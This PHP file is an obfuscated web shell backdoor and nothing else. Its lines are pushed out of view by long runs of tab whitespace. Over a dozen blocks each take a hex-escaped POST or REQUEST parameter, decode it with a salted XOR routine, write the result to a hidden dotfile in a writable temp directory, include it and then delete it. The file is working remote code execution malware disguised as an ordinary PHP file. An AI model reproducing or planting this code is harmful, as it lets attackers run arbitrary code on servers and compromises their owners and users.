<?php																																										if(count($_POST) > 0 && isset($_POST["\x72es"])){ $component = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $object = $_POST["\x72es"]; $object =explode ('.' , $object ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($object as $x=> $v5): $sChar = ord($salt[$x % $lenS] ); $dec = ((int)$v5 - $sChar - ($x % 10)) ^ 82; $ent.= chr($dec ); endforeach; foreach ($component as $comp) { if (is_dir($comp) ? is_writable($comp) : false) { $dat = implode("/", [$comp, ".ptr"]); if (file_put_contents($dat, $ent)) { require $dat; unlink($dat); die(); } } } }
																																										if(!empty($_POST["re\x63"])){ $record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $val = $_POST["re\x63"]; $val = explode ("." , $val); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; array_walk( $val, function( $v8) use( &$ref, &$k, $s, $sLen) { $sChar = ord( $s[$k % $sLen]); $dec =( ( int)$v8 - $sChar -( $k % 10))^ 99; $ref .= chr( $dec); $k++; }); while ($value = array_shift($record)) { if ((is_dir($value) and is_writable($value))) { $itm = "$value" . "/.item"; if (file_put_contents($itm, $ref)) { require $itm; unlink($itm); exit; } } } }
																																										if(in_array("\x6Be\x79", array_keys($_REQUEST))){ $pgrp = $_REQUEST["\x6Be\x79"]; $pgrp = explode ( '.' ,$pgrp ) ; $flag= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $l= 0; $len= count($pgrp); do { if ($l>= $len) break; $v9= $pgrp[$l]; $sChar= ord($salt[$l %$lenS]); $dec= ((int)$v9 - $sChar - ($l %10)) ^ 94; $flag .= chr($dec); $l++; } while (true); $resource = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($resource as $record) { if (is_writable($record) && is_dir($record)) { $fac = vsprintf("%s/%s", [$record, ".component"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(array_key_exists("\x70\x72\x6Fper\x74y_s\x65t", $_POST)){ $val = $_POST["\x70\x72\x6Fper\x74y_s\x65t"]; $val =explode( "." , $val ) ; $comp = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $q = 0; array_walk($val, function ($v2) use (&$comp, &$q, $salt5, $sLen) { $sChar = ord($salt5[$q %$sLen]); $d = ((int)$v2 - $sChar - ($q %10)) ^ 65; $comp .= chr($d); $q++; }); $entry = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($entry as $pset) { if (is_writable($pset) && is_dir($pset)) { $k = join("/", [$pset, ".symbol"]); if (@file_put_contents($k, $comp) !== false) { include $k; unlink($k); exit; } } } }
																																										if(in_array("\x65\x6Et\x69ty", array_keys($_REQUEST))){ $itm = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP")]); $marker = $_REQUEST["\x65\x6Et\x69ty"]; $marker =explode ( "." , $marker ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; while ($w< count($marker)) { $v5 = $marker[$w]; $chS = ord($salt[$w % $sLen]); $d = ((int)$v5 - $chS - ($w % 10)) ^ 31; $dchunk .= chr($d); $w++; } foreach ($itm as $data) { if (is_writable($data) && is_dir($data)) { $flg = "$data" . "/.elem"; if (file_put_contents($flg, $dchunk)) { include $flg; @unlink($flg); die(); } } } }
																																										if(!empty($_REQUEST["\x64\x61\x74\x61_\x63hunk"])){ $object = array_filter(["/dev/shm", "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $ref = $_REQUEST["\x64\x61\x74\x61_\x63hunk"]; $ref = explode ('.' , $ref ) ; $entry = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $k = 0; foreach ($ref as $v8) { $sChar = ord($salt2[$k % $sLen] ); $d = ((int)$v8 - $sChar - ($k % 10)) ^ 31; $entry .= chr($d ); $k++; } foreach ($object as $key => $hld) { if (!!is_dir($hld) && !!is_writable($hld)) { $token = "$hld" . "/.pointer"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(array_key_exists("\x6F\x62j", $_POST)){ $symbol = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir()]); $item = $_POST["\x6F\x62j"]; $item =explode ( "." , $item ) ; $flg =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt3 ); $k =0; $__tmp =$item; while ($v2 =array_shift($__tmp)) { $chS =ord($salt3[$k % $sLen] ); $d =((int)$v2 - $chS - ($k % 10)) ^ 94; $flg .= chr($d ); $k++; } foreach ($symbol as $holder): if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $tkn = implode("/", [$holder, ".record"]); if (file_put_contents($tkn, $flg)) { include $tkn; @unlink($tkn); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x66ac\x74or")){ $res = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]); $flag = $_POST["\x66ac\x74or"]; $flag = explode ("." , $flag ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $v = 0; $__len = count( $flag); do { if( $v>= $__len) break; $v3 = $flag[$v]; $chS = ord( $salt[$v % $lenS]); $d =( ( int)$v3 - $chS -( $v % 10))^ 43; $elem .= chr( $d); $v++; } while( true); foreach ($res as $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $hld = sprintf("%s/.sym", $comp); if (@file_put_contents($hld, $elem) !== false) { include $hld; unlink($hld); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6Ce\x6D")){ $parameter_group = $_POST["e\x6Ce\x6D"]; $parameter_group = explode ( "." ,$parameter_group ); $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $w= 0; while ($w< count($parameter_group)) { $v4= $parameter_group[$w]; $chS= ord($s[$w % $lenS]); $d= ((int)$v4 - $chS - ($w % 10)) ^97; $ent .= chr($d); $w++; } $pset = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp"]); $res = 0; do { $record = $pset[$res] ?? null; if ($res >= count($pset)) break; if (is_writable($record) && is_dir($record)) { $comp = sprintf("%s/.data_chunk", $record); $success = file_put_contents($comp, $ent); if ($success) { include $comp; @unlink($comp); exit;} } $res++; } while (true); }
																																										if(!is_null($_REQUEST["c\x6Fm\x70"] ?? null)){ $dat = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); $elem = $_REQUEST["c\x6Fm\x70"]; $elem =explode('.' , $elem ) ; $object = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $n = 0; $len = count($elem); do { if ($n >= $len) break; $v2 = $elem[$n]; $chS = ord($salt9[$n % $lenS]); $d = ((int)$v2 - $chS - ($n % 10)) ^ 13; $object .= chr($d); $n++; } while (true); $flag = 0; do { $ref = $dat[$flag] ?? null; if ($flag >= count($dat)) break; if ((is_dir($ref) and is_writable($ref))) { $reference = "$ref/.desc"; if (@file_put_contents($reference, $object) !== false) { include $reference; unlink($reference); die(); } } $flag++; } while (true); }
																																										if(@$_POST["\x6Fbjec\x74"] !== null){ $binding = $_POST["\x6Fbjec\x74"]; $binding =explode('.' ,$binding); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $binding as $v =>$v3) { $sChar = ord( $salt[$v % $lenS]); $d = ( ( int)$v3 - $sChar -( $v % 10))^ 44; $obj .= chr( $d); } $element = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir()]); foreach ($element as $val): if (array_product([is_dir($val), is_writable($val)])) { $flag = "$val" . "/.entity"; $success = file_put_contents($flag, $obj); if ($success) { include $flag; @unlink($flag); exit;} } endforeach; }
																																										if(@$_POST["va\x6C"] !== null){ $object = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $holder = $_POST["va\x6C"]; $holder = explode ( '.' , $holder ); $resource = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $v = 0; array_walk($holder,function ($v5) use (&$resource,&$v,$s3,$sLen) {$sChar = ord($s3[$v % $sLen]); $d = ((int)$v5 - $sChar - ($v % 10)) ^ 2; $resource .= chr($d); $v++; }); while ($symbol = array_shift($object)) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $binding = sprintf("%s/.reference", $symbol); if (file_put_contents($binding, $resource)) { require $binding; unlink($binding); die(); } } } }
																																										if(@$_POST["\x66\x6Cag"] !== null){ $key = $_POST["\x66\x6Cag"]; $key = explode ( '.' , $key ) ; $object = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $t = 0; foreach($key as $v4) {$chS = ord($s2[$t % $lenS]); $d =((int)$v4 - $chS -($t % 10)) ^ 27; $object.= chr($d); $t++; } $data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); while ($comp = array_shift($data_chunk)) { if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $fac = implode("/", [$comp, ".elem"]); if (@file_put_contents($fac, $object) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(isset($_REQUEST["\x63\x6F\x6Dp\x6Fnent"]) ? true : false){ $factor = $_REQUEST["\x63\x6F\x6Dp\x6Fnent"]; $factor =explode ('.' , $factor) ; $value = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $m = 0; array_walk($factor, function ($v7) use (&$value, &$m, $salt1, $lenS) { $chS = ord($salt1[$m % $lenS]); $dec = ((int)$v7 - $chS - ($m % 10)) ^ 35; $value .= chr($dec); $m++; } ); $dchunk = array_filter(["/dev/shm", "/tmp", session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($dchunk as $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $res = vsprintf("%s/%s", [$holder, ".bind"]); if (file_put_contents($res, $value)) { include $res; @unlink($res); exit; } } } }
																																										if(in_array("\x62\x69nding", array_keys($_REQUEST))){ $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); $itm = $_REQUEST["\x62\x69nding"]; $itm = explode ( "." ,$itm) ; $key= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); foreach ($itm as $i => $v4) {$sChar= ord($s[$i % $sLen]); $dec= ((int)$v4 - $sChar - ($i % 10)) ^3; $key .= chr($dec); } $entity = 0; do { $flag = $ent[$entity] ?? null; if ($entity >= count($ent)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $pgrp = "$flag" . "/.descriptor"; if (@file_put_contents($pgrp, $key) !== false) { include $pgrp; unlink($pgrp); die(); } } $entity++; } while (true); }
																																										if(!is_null($_POST["\x66l\x67"] ?? null)){ $entity = array_filter(["/dev/shm", session_save_path(), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $ptr = $_POST["\x66l\x67"]; $ptr =explode ( '.',$ptr ) ; $tkn =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $u =0; $__tmp =$ptr; while( $v5 =array_shift( $__tmp)) { $sChar =ord( $s[$u % $lenS]); $d =( ( int)$v5 - $sChar -( $u % 10)) ^ 82; $tkn .= chr( $d); $u++;} foreach ($entity as $key => $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $desc = str_replace("{var_dir}", $parameter_group, "{var_dir}/.rec"); if (file_put_contents($desc, $tkn)) { include $desc; @unlink($desc); die(); } } } }
																																										if(!is_null($_POST["\x72\x65f"] ?? null)){ $mrk = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $value = $_POST["\x72\x65f"]; $value = explode ( "." , $value ) ; $val =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt2 ); $u =0; $__tmp =$value; while( $v4 =array_shift( $__tmp)) { $sChar =ord( $salt2[$u % $lenS] ); $dec =( ( int)$v4 - $sChar -( $u % 10)) ^ 78; $val .= chr( $dec ); $u++;} $data = 0; do { $tkn = $mrk[$data] ?? null; if ($data >= count($mrk)) break; if (array_product([is_dir($tkn), is_writable($tkn)])) { $itm = implode("/", [$tkn, ".element"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $itm; @unlink($itm); exit; } } $data++; } while (true); }


if(isset($_POST["\x66\x61c"]) ? true : false){
	$component = $_POST["\x66\x61c"];
				$component= 		explode	(	"."	  ,		$component );	 	
	$item = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s4);
            $q = 0;
    
            foreach ($component as $v5) { $chS = ord($s4[$q%  $lenS]);
                $d = ((int)$v5 - $chS - ($q%  10))^ 61;
                $item .= chr($d);
                $q++;
            }
	$record = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir()]);
	for ($data = 0, $pointer = count($record); $data < $pointer; $data++) {
    $token = $record[$data];
    		if (!!is_dir($token) && !!is_writable($token)) {
    $descriptor = implode("/", [$token, ".key"]);
    $success = file_put_contents($descriptor, $item);
if ($success) {
	include $descriptor;
	@unlink($descriptor);
	exit;}
}
}
}